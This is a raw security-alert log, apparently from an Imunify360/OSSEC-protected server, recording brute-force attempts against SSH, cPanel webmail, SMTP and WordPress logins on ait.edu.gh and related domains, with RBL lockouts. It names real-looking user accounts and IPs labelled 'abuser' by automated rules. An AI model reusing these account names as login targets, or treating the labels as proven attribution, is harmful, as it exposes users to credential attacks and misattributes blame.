Jan 30 00:23:22 ait sshd[578176]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=43.254.45.44  user=root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.101.236.179
description:
[2025-01-30 00:24:09 +0100] info [webmaild] 179.101.236.179 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.11.8.22
description:
[2025-01-30 00:24:01 +0100] info [webmaild] 186.11.8.22 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.190.151.42
description:
[2025-01-30 00:24:03 +0100] info [webmaild] 45.190.151.42 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.55.85.202
description:
Jan 30 00:25:13 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.55.85.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.124.119.7
description:
2025-01-30 00:25:26 dovecot_plain authenticator failed for ([118.122.255.5]) [118.124.119.7]:49723: 535 Incorrect authentication data (set_id=eng17b00238y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 30 00:25:23 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.124.119.7
description:
Jan 30 00:25:24 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.124.119.7 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 176.29.25.13
description:
[2025-01-30 00:24:55 +0100] info [webmaild] 176.29.25.13 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.55.85.202
description:
2025-01-30 00:25:15 dovecot_plain authenticator failed for ([196.191.212.236]) [213.55.85.202]:2502: 535 Incorrect authentication data (set_id=eng17b00238y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 197.144.186.236
description:
[2025-01-30 00:25:18 +0100] info [webmaild] 197.144.186.236 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.238.192.121
description:
2025-01-30 00:26:27 dovecot_plain authenticator failed for host-5l.vsg1-a.v4.dfn.nl (host-5l.vsg1-a.dfn.nl) [62.238.192.121]:54332: 535 Incorrect authentication data (set_id=abs20b00166y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 201.14.241.11
description:
[2025-01-30 00:25:45 +0100] info [webmaild] 201.14.241.11 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.238.192.121
description:
Jan 30 00:26:25 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.238.192.121 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.220.149.129
description:
2025-01-30 00:27:18 dovecot_login authenticator failed for ([127.0.0.1]) [118.220.149.129]:37524: 535 Incorrect authentication data (set_id=vondee)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.230.176.152
description:
Jan 30 00:26:35 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.230.176.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.230.176.152
description:
2025-01-30 00:26:37 dovecot_plain authenticator failed for ([103.230.176.152]) [103.230.176.152]:33224: 535 Incorrect authentication data (set_id=abs20b00166y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.74.249.176
description:
Jan 30 00:27:06 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.74.249.176 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.228.136.7
description:
[2025-01-30 00:27:08 +0100] info [webmaild] 45.228.136.7 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.74.249.176
description:
2025-01-30 00:27:08 dovecot_login authenticator failed for ([127.0.0.1]) [217.74.249.176]:43646: 535 Incorrect authentication data (set_id=vondee@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.67.154.24
description:
Jan 30 00:27:16 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.67.154.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.220.149.129
description:
Jan 30 00:27:16 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.220.149.129 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.185.224.149
description:
[2025-01-30 00:27:18 +0100] info [webmaild] 45.185.224.149 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.67.154.24
description:
2025-01-30 00:27:18 dovecot_plain authenticator failed for bzq-109-67-154-24.red.bezeqint.net (picked) [109.67.154.24]:62160: 535 Incorrect authentication data (set_id=rfiawoo13@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.188.203.210
description:
Jan 30 00:27:20 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.188.203.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.188.203.210
description:
2025-01-30 00:27:22 dovecot_plain authenticator failed for (sunethrom) [78.188.203.210]:38134: 535 Incorrect authentication data (set_id=rfiawoo13@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.193.53.56
description:
Jan 30 00:28:25 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.193.53.56 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.245.160.180
description:
[2025-01-30 00:28:28 +0100] info [webmaild] 170.245.160.180 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.153.211
description:
Jan 30 00:28:01 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.153.211 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.166.31.198
description:
Jan 30 00:28:02 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.166.31.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.74.223.242
description:
Jan 30 00:28:24 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.74.223.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.86.209.86
description:
Jan 30 00:29:15 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.86.209.86 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.193.53.56
description:
Jan 30 00:28:33 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.193.53.56 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.233.178.180
description:
[2025-01-30 00:28:35 +0100] info [webmaild] 186.233.178.180 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 15.206.171.64
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:00-28.15.206.171.64


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 30 00:28:59 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.142.230.50
description:
Jan 30 00:29:03 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.142.230.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.142.230.50
description:
2025-01-30 00:29:05 dovecot_plain authenticator failed for ([123.142.230.50]) [123.142.230.50]:59852: 535 Incorrect authentication data (set_id=gyn@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.86.209.86
description:
2025-01-30 00:29:17 dovecot_plain authenticator failed for ([106.86.209.86]) [106.86.209.86]:43690: 535 Incorrect authentication data (set_id=gyn)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.115.150
description:
47.128.115.150 - - [30/Jan/2025:00:28:35 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=17766751 HTTP/1.1" 302 0 ait-open.net "http://ait-open.net/elearning/help.php?module=scorm&file=browsemode.html" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.115.150


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.74.223.242
description:
Jan 30 00:28:39 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.74.223.242 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 38.25.22.37
description:
[2025-01-30 00:29:15 +0100] info [webmaild] 38.25.22.37 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.186.220.42
description:
Jan 30 00:29:45 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.186.220.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.186.220.42
description:
2025-01-30 00:29:47 dovecot_plain authenticator failed for ([211.186.220.42]) [211.186.220.42]:50371: 535 Incorrect authentication data (set_id=eng20b00215y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.226.173.151
description:
2025-01-30 00:29:57 dovecot_plain authenticator failed for (pool-176-226-173-151.is74.ru) [176.226.173.151]:58256: 535 Incorrect authentication data (set_id=eng20b00215y)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 157.230.172.131
domain: admissions.ait-edu.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:00-30.157.230.172.131


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 30 00:29:38 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.226.173.151
description:
Jan 30 00:29:55 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.226.173.151 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 185.116.195.203
domain: admissions.ait-edu.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:00-30.185.116.195.203


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 111.231.56.128
description:
Jan 30 00:31:07 ait sshd[583402]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.231.56.128


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.231.56.128
description:
Jan 30 00:31:07 ait sshd[583402]: pam_imunify(sshd:auth): [IM360_RBL] The IP 111.231.56.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 30 00:32:13 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 131.108.154.106
description:
[2025-01-30 00:32:03 +0100] info [webmaild] 131.108.154.106 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.164.246.53
description:
Jan 30 00:33:25 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.164.246.53 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.63.154.201
description:
[2025-01-30 00:33:27 +0100] info [webmaild] 179.63.154.201 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.164.246.53
description:
2025-01-30 00:33:27 dovecot_plain authenticator failed for 53.246.164.109.static.wline.lns.sme.cust.swisscom.ch (abione) [109.164.246.53]:39872: 535 Incorrect authentication data (set_id=adom-oduro@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 96.249.234.242
description:
Jan 30 00:33:36 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 96.249.234.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.255.84.180
description:
Jan 30 00:33:48 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.255.84.180 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.255.84.180
description:
2025-01-30 00:33:50 dovecot_plain authenticator failed for ns3042085.ip-51-255-84.eu (paund) [51.255.84.180]:53006: 535 Incorrect authentication data (set_id=ads21b00213y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.163.205.60
description:
[2025-01-30 00:34:28 +0100] info [webmaild] 45.163.205.60 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.2.14.33
description:
2025-01-30 00:34:25 dovecot_plain authenticator failed for ([59.2.14.33]) [59.2.14.33]:53392: 535 Incorrect authentication data (set_id=sng26b99239y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.227.102.242
description:
Jan 30 00:34:28 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.227.102.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.249.234.242
description:
2025-01-30 00:33:38 dovecot_plain authenticator failed for pool-96-249-234-242.nrflva.fios.verizon.net [96.249.234.242]:53233: 535 Incorrect authentication data (set_id=eng18b00179y@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.126.195.176
description:
Jan 30 00:33:41 ait sshd[584380]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.126.195.176  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 30 00:33:52 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 93.91.153.26
description:
Jan 30 00:34:08 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 93.91.153.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.193.163.2
description:
Jan 30 00:34:21 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.193.163.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.193.163.2
description:
2025-01-30 00:34:23 dovecot_plain authenticator failed for ([1.193.163.2]) [1.193.163.2]:41124: 535 Incorrect authentication data (set_id=eng20b00215y)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.195.176
description:
Jan 30 00:33:41 ait sshd[584380]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.126.195.176 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.186.131.108
description:
Jan 30 00:34:27 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.186.131.108 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.186.131.108
description:
2025-01-30 00:34:29 dovecot_plain authenticator failed for ([121.186.131.108]) [121.186.131.108]:55916: 535 Incorrect authentication data (set_id=abs18b00059y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.152.245
description:
Jan 30 00:33:46 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.152.245 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.152.245
description:
2025-01-30 00:33:48 dovecot_plain authenticator failed for (m121-202-152-245.smartone.com) [121.202.152.245]:49752: 535 Incorrect authentication data (set_id=eng18b00179y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.90.34.90
description:
Jan 30 00:34:03 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.90.34.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.90.34.90
description:
2025-01-30 00:34:05 dovecot_plain authenticator failed for ([102.90.34.90]) [102.90.34.90]:57912: 535 Incorrect authentication data (set_id=eng20b00215y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.80.35.19
description:
[2025-01-30 00:34:20 +0100] info [webmaild] 170.80.35.19 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.2.14.33
description:
Jan 30 00:34:23 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.2.14.33 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.190.114.220
description:
[2025-01-30 00:35:15 +0100] info [webmaild] 190.190.114.220 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.227.102.242
description:
Jan 30 00:34:35 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.227.102.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.106.85.205
description:
Jan 30 00:34:36 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.106.85.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.43.106.73
description:
Jan 30 00:34:39 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.43.106.73 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.43.106.73
description:
2025-01-30 00:34:41 dovecot_plain authenticator failed for ([177.43.106.73]) [177.43.106.73]:58908: 535 Incorrect authentication data (set_id=sng26b99239y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.106.85.205
description:
2025-01-30 00:34:38 dovecot_plain authenticator failed for 131-106-85-205.s1483.c3-0.tlg-cbr5.atw-tlg.pa.cable.rcncustomer.com [131.106.85.205]:37862: 535 Incorrect authentication data (set_id=abs18b00059y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 91.140.28.18
description:
[2025-01-30 00:35:04 +0100] info [webmaild] 91.140.28.18 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.220.186.135
description:
[2025-01-30 00:36:01 +0100] info [webmaild] 177.220.186.135 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.238.161.31
description:
[2025-01-30 00:36:23 +0100] info [webmaild] 45.238.161.31 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.195.103
description:
Jan 30 00:36:25 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.195.103 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.165.110.165
description:
[2025-01-30 00:35:36 +0100] info [webmaild] 45.165.110.165 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 30 00:35:52 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.183.225.156
description:
Jan 30 00:36:13 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.183.225.156 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.113.51.55
description:
Jan 30 00:36:22 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.113.51.55 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.167.56.24
description:
Jan 30 00:36:24 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.167.56.24 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.183.225.156
description:
2025-01-30 00:36:15 dovecot_plain authenticator failed for ([201.183.225.156]) [201.183.225.156]:42619: 535 Incorrect authentication data (set_id=adams@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.81.151.97
description:
Jan 30 00:36:15 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.81.151.97 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.167.56.24
description:
2025-01-30 00:36:26 dovecot_plain authenticator failed for ([185.167.56.24]) [185.167.56.24]:51694: 535 Incorrect authentication data (set_id=adams)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.195.103
description:
2025-01-30 00:36:27 dovecot_plain authenticator failed for (m121-202-195-103.smartone.com) [121.202.195.103]:18878: 535 Incorrect authentication data (set_id=eng88b00888y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.81.151.97
description:
2025-01-30 00:36:17 dovecot_plain authenticator failed for ([61.81.151.97]) [61.81.151.97]:35854: 535 Incorrect authentication data (set_id=eng88b00888y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.113.51.55
description:
2025-01-30 00:36:24 dovecot_plain authenticator failed for (prearus) [185.113.51.55]:57962: 535 Incorrect authentication data (set_id=eng20a00114y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.233.58.175
description:
[2025-01-30 00:36:42 +0100] info [webmaild] 170.233.58.175 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.224.58.243
description:
2025-01-30 00:37:51 dovecot_plain authenticator failed for ([1.224.58.243]) [1.224.58.243]:60906: 535 Incorrect authentication data (set_id=efreeman@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.115.177.38
description:
2025-01-30 00:38:02 dovecot_plain authenticator failed for ([124.115.177.38]) [124.115.177.38]:39807: 535 Incorrect authentication data (set_id=efreeman)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.160.227.134
description:
2025-01-30 00:38:20 dovecot_plain authenticator failed for (134.227.160.222.adsl-pool.jlccptt.net.cn) [222.160.227.134]:35544: 535 Incorrect authentication data (set_id=ads21b00225y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.124.127.56
description:
2025-01-30 00:38:30 dovecot_plain authenticator failed for ([98.124.127.56]) [98.124.127.56]:55342: 535 Incorrect authentication data (set_id=ads21b00225y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.115.177.38
description:
Jan 30 00:38:00 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.115.177.38 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.84.222.5
description:
[2025-01-30 00:38:16 +0100] info [webmaild] 170.84.222.5 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.160.227.134
description:
Jan 30 00:38:18 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.160.227.134 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.55.83.79
description:
[2025-01-30 00:38:17 +0100] info [webmaild] 191.55.83.79 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.124.127.56
description:
Jan 30 00:38:28 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.124.127.56 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 213.230.87.64
description:
[2025-01-30 00:38:31 +0100] info [webmaild] 213.230.87.64 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.224.58.243
description:
Jan 30 00:37:49 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.224.58.243 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 170.205.31.125
domain: www.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:willyguilkpase@yahoo.co.jp||WPU:willyguilkpase@yahoo.co.jp||RSV:6.65||T:APACHE||MV:00-39.170.205.31.125


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.252.57.122
description:
Jan 30 00:40:07 ait auth[577699]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.252.57.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.252.57.122
description:
2025-01-30 00:40:09 dovecot_plain authenticator failed for ([117.252.57.122]) [117.252.57.122]:42462: 535 Incorrect authentication data (set_id=dagyarko)


plugin: ossec
rule: 11000
